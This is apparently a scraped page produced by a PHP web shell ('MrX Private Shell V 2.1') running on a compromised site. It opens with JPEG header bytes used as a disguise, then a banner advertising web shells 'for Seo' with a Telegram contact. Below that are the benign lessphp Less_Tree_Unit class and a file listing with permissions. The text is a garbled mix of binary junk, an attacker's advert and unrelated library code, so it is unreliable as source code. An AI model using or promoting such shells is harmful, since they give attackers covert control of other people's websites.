����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Unit
*
* @package Less
* @subpackage tree
*/
class Less_Tree_Unit extends Less_Tree{
var $numerator = array();
var $denominator = array();
public $backupUnit;
public $type = 'Unit';
public function __construct($numerator = array(), $denominator = array(), $backupUnit = null ){
$this->numerator = $numerator;
$this->denominator = $denominator;
$this->backupUnit = $backupUnit;
}
public function __clone(){
}
/**
* @see Less_Tree::genCSS
*/
public function genCSS( $output ){
if( $this->numerator ){
$output->add( $this->numerator[0] );
}elseif( $this->denominator ){
$output->add( $this->denominator[0] );
}elseif( !Less_Parser::$options['strictUnits'] && $this->backupUnit ){
$output->add( $this->backupUnit );
return ;
}
}
public function toString(){
$returnStr = implode('*',$this->numerator);
foreach($this->denominator as $d){
$returnStr .= '/'.$d;
}
return $returnStr;
}
public function __toString(){
return $this->toString();
}
/**
* @param Less_Tree_Unit $other
*/
public function compare($other) {
return $this->is( $other->toString() ) ? 0 : -1;
}
public function is($unitString){
return $this->toString() === $unitString;
}
public function isLength(){
$css = $this->toCSS();
return !!preg_match('/px|em|%|in|cm|mm|pc|pt|ex/',$css);
}
public function isAngle() {
return isset( Less_Tree_UnitConversions::$angle[$this->toCSS()] );
}
public function isEmpty(){
return !$this->numerator && !$this->denominator;
}
public function isSingular() {
return count($this->numerator) <= 1 && !$this->denominator;
}
public function usedUnits(){
$result = array();
foreach(Less_Tree_UnitConversions::$groups as $groupName){
$group = Less_Tree_UnitConversions::${$groupName};
foreach($this->numerator as $atomicUnit){
if( isset($group[$atomicUnit]) && !isset($result[$groupName]) ){
$result[$groupName] = $atomicUnit;
}
}
foreach($this->denominator as $atomicUnit){
if( isset($group[$atomicUnit]) && !isset($result[$groupName]) ){
$result[$groupName] = $atomicUnit;
}
}
}
return $result;
}
public function cancel(){
$counter = array();
$backup = null;
foreach($this->numerator as $atomicUnit){
if( !$backup ){
$backup = $atomicUnit;
}
$counter[$atomicUnit] = ( isset($counter[$atomicUnit]) ? $counter[$atomicUnit] : 0) + 1;
}
foreach($this->denominator as $atomicUnit){
if( !$backup ){
$backup = $atomicUnit;
}
$counter[$atomicUnit] = ( isset($counter[$atomicUnit]) ? $counter[$atomicUnit] : 0) - 1;
}
$this->numerator = array();
$this->denominator = array();
foreach($counter as $atomicUnit => $count){
if( $count > 0 ){
for( $i = 0; $i < $count; $i++ ){
$this->numerator[] = $atomicUnit;
}
}elseif( $count < 0 ){
for( $i = 0; $i < -$count; $i++ ){
$this->denominator[] = $atomicUnit;
}
}
}
if( !$this->numerator && !$this->denominator && $backup ){
$this->backupUnit = $backup;
}
sort($this->numerator);
sort($this->denominator);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Mixin | Folder | 0755 |
|
|
| Alpha.php | File | 832 B | 0644 |
|
| Anonymous.php | File | 1.07 KB | 0644 |
|
| Assignment.php | File | 721 B | 0644 |
|
| Attribute.php | File | 975 B | 0644 |
|
| Call.php | File | 2.83 KB | 0644 |
|
| Color.php | File | 5.12 KB | 0644 |
|
| Comment.php | File | 1.23 KB | 0644 |
|
| Condition.php | File | 1.46 KB | 0644 |
|
| DefaultFunc.php | File | 581 B | 0644 |
|
| DetachedRuleset.php | File | 822 B | 0644 |
|
| Dimension.php | File | 5.13 KB | 0644 |
|
| Directive.php | File | 2.03 KB | 0644 |
|
| Element.php | File | 1.48 KB | 0644 |
|
| Expression.php | File | 1.82 KB | 0644 |
|
| Extend.php | File | 1.93 KB | 0644 |
|
| Import.php | File | 8.21 KB | 0644 |
|
| Javascript.php | File | 542 B | 0644 |
|
| Keyword.php | File | 688 B | 0644 |
|
| Media.php | File | 4.27 KB | 0644 |
|
| NameValue.php | File | 1.3 KB | 0644 |
|
| Negative.php | File | 729 B | 0644 |
|
| Operation.php | File | 1.38 KB | 0644 |
|
| Paren.php | File | 577 B | 0644 |
|
| Quoted.php | File | 1.85 KB | 0644 |
|
| Rule.php | File | 3.1 KB | 0644 |
|
| Ruleset.php | File | 16.15 KB | 0644 |
|
| RulesetCall.php | File | 477 B | 0644 |
|
| Selector.php | File | 4.03 KB | 0644 |
|
| UnicodeDescriptor.php | File | 419 B | 0644 |
|
| Unit.php | File | 3.09 KB | 0644 |
|
| UnitConversions.php | File | 612 B | 0644 |
|
| Url.php | File | 1.75 KB | 0644 |
|
| Value.php | File | 794 B | 0644 |
|
| Variable.php | File | 1.2 KB | 0644 |
|